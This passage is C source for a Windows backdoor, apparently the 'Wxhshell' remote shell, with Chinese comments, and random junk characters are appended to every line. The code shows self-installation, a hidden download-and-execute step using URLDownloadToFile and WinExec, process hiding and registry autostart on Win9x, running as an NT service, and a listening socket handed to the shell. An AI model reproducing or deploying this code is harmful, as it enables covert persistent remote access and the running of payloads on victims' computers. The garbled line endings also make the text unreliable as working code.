ULONG UniqueProcessId; Cv^`&\[SW+
ULONG InheritedFromUniqueProcessId; 6ep>hS4A&
} PROCESS_BASIC_INFORMATION; Fm3t'^SqF
!9 f4R/ ?
PROCNTQSIP NtQueryInformationProcess; c-8!#~M(
z<&m*0WYA
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T)SbHp Y
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; SlaDt
Phs-(3
HANDLE hProcess; X3B{8qx_>
PROCESS_BASIC_INFORMATION pbi; j *3}1L4P
sbS~N*{E
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ROdK8*jL
if(NULL == hInst ) return 0; ZnfNQl[
v>mn/a
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z-,VnhLx
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qSD9P ue
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =k{`oO~:9+
&y\sL"YL!
if (!NtQueryInformationProcess) return 0; s'u(B]E
&`Ck
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X?o(
b/F-
if(!hProcess) return 0; fn}UBzED\
DtF}QvA
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D7?C
P8I*dvu _
CloseHandle(hProcess); *b)Q5dw@1
0LL c 1t>}
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Zyye%Ly
if(hProcess==NULL) return 0; 9[Qd)%MO
\#,t O%D
HMODULE hMod; MGt]' }
char procName[255]; JTW)*q9a
unsigned long cbNeeded; \x+3f
P Sx304
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i::\Z$L";i
i8PuC^]
CloseHandle(hProcess); ^b-18 ~s
n$["z
w
if(strstr(procName,"services")) return 1; // 以服务启动 ga0'zo9K
;*cLG#&'M
return 0; // 注册表启动 pq!%?m]
} K@:m/Z}|4
${hz e<g
// 主模块 <{J5W6
int StartWxhshell(LPSTR lpCmdLine) Y+-xvx
:
{ m{%t?w$Au
SOCKET wsl; !<n"6KA.
BOOL val=TRUE; b ,^*mx=
int port=0; vO@s$qi
struct sockaddr_in door; :k,Q,B.I
o>lmst%<
if(wscfg.ws_autoins) Install(); E]} n(
@aG&n(.!u*
port=atoi(lpCmdLine); XcfKx@l
bGXR7u&K
if(port<=0) port=wscfg.ws_port; 0pgY1i7
q6q1\YB
WSADATA data; ]MTbW=*}ED
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .ln8|;%
;/8 {N0
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; &tI#T)SSs
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0ZI(/r
door.sin_family = AF_INET; 1s7^uA$}6
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2k
-+^}r
door.sin_port = htons(port); "$^0%-
E^Gg
'1
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?.bnIwQe
closesocket(wsl); <,1fkq>,
return 1; C;rG]t^%
} KFWJ}pNq
+a+`Z>
if(listen(wsl,2) == INVALID_SOCKET) { Ob<W/-%5tH
closesocket(wsl); W{"XJt_
return 1; ) g1a'G
} _}Ps(_5D
Wxhshell(wsl); oQ2KW..q
WSACleanup(); <:;^'x>!
hfM;/
return 0; nBLj [
]s1 YaNq
} ,/Cq
v
A.%CAGU5w
// 以NT服务方式启动 vK'?:}~
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ":W%,`@$
{ =hH.zrI6e
DWORD status = 0; IMLsQit*
DWORD specificError = 0xfffffff; lC?Icn|o
zY9H%
serviceStatus.dwServiceType = SERVICE_WIN32; 0Bolv_e
serviceStatus.dwCurrentState = SERVICE_START_PENDING; XSRdqU>Aun
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2%UBwSiqR
serviceStatus.dwWin32ExitCode = 0; P\R27Jd
serviceStatus.dwServiceSpecificExitCode = 0; 3.R#&Zxt
serviceStatus.dwCheckPoint = 0; ' [0AHM
serviceStatus.dwWaitHint = 0; Q5+_u/
uQCo6"e
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }ZOFYu0f
if (hServiceStatusHandle==0) return; (M-ZQ
-
viaJblYj(f
status = GetLastError(); Ukphd$3J=
if (status!=NO_ERROR) 7*H:Ob)9k
{ rP=sG;d
serviceStatus.dwCurrentState = SERVICE_STOPPED; *TdnB'Gd
serviceStatus.dwCheckPoint = 0; ]`=X'fED
serviceStatus.dwWaitHint = 0; _%@=Uc6V
serviceStatus.dwWin32ExitCode = status; 3/6/G}s
serviceStatus.dwServiceSpecificExitCode = specificError; @1RP/y%
SetServiceStatus(hServiceStatusHandle, &serviceStatus); O9h+Q\0\W
return; qCMl!g'
} >H|` y@]
8nNsrat
serviceStatus.dwCurrentState = SERVICE_RUNNING; Hgc=M
serviceStatus.dwCheckPoint = 0; \k8rxW
serviceStatus.dwWaitHint = 0; Y}R}-+bD/
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f<jb=\}x
} D%/8{b:
V9 }t0$LN
// 处理NT服务事件,比如:启动、停止 wFn[9_`*
VOID WINAPI NTServiceHandler(DWORD fdwControl) q!,zq
{
q" @
switch(fdwControl) ` (4pu6uT
{ +{`yeZ9S
case SERVICE_CONTROL_STOP: -\$`ic$"1
serviceStatus.dwWin32ExitCode = 0; ,Fqz e/
serviceStatus.dwCurrentState = SERVICE_STOPPED; Zf*r2t1&P
serviceStatus.dwCheckPoint = 0; KU&G;ni2
serviceStatus.dwWaitHint = 0; _Tm0x>EM
{ N]/!mo?
SetServiceStatus(hServiceStatusHandle, &serviceStatus); |I8Mk.Z=FA
} @]CF&: P A
return; ':
F}3At
case SERVICE_CONTROL_PAUSE: Fw4*
serviceStatus.dwCurrentState = SERVICE_PAUSED; 8Z#j7)G
break; eARk
QV
case SERVICE_CONTROL_CONTINUE: ?h\mk0[
serviceStatus.dwCurrentState = SERVICE_RUNNING; MFit|C
break; v[k5.\No
case SERVICE_CONTROL_INTERROGATE: LX+5|u
break; ;-mdi/*g
}; dG'SZ&<
SetServiceStatus(hServiceStatusHandle, &serviceStatus); eOlKbJU
} p
QE)p
l3i,K^YL
// 标准应用程序主函数 2h~-
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .q`{Dgc~
{ P<dy3;
DtCEm(b0
// 获取操作系统版本 QOFvsJ<s
OsIsNt=GetOsVer(); XH 4d<?qu
GetModuleFileName(NULL,ExeFile,MAX_PATH); h#YD~!aJ
yOXO)u1n
// 从命令行安装 |(IO=V4P
if(strpbrk(lpCmdLine,"iI")) Install(); Ibr%d2yS=
qojXrSb"y
// 下载执行文件 n$+M%}/f
if(wscfg.ws_downexe) { U\<-mXv
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pgc3jP!
WinExec(wscfg.ws_filenam,SW_HIDE); g$37;d3Tx
} [IX+M#mf
V-W'RunnW
if(!OsIsNt) { 'VnwG
// 如果时win9x,隐藏进程并且设置为注册表启动 I`B'1"{
HideProc(); D9ufoa&ua
StartWxhshell(lpCmdLine); 9t:]
} :J_oj:0r"f
else u:P~j
if(StartFromService()) Un=a
fX?j
// 以服务方式启动 Q
s(Bnb;
StartServiceCtrlDispatcher(DispatchTable); Pe7e?79
else /I{R23o
// 普通方式启动 L K7Xw3
StartWxhshell(lpCmdLine); A*]$v
o
\L!(hm
return 0; b[^{)$(
}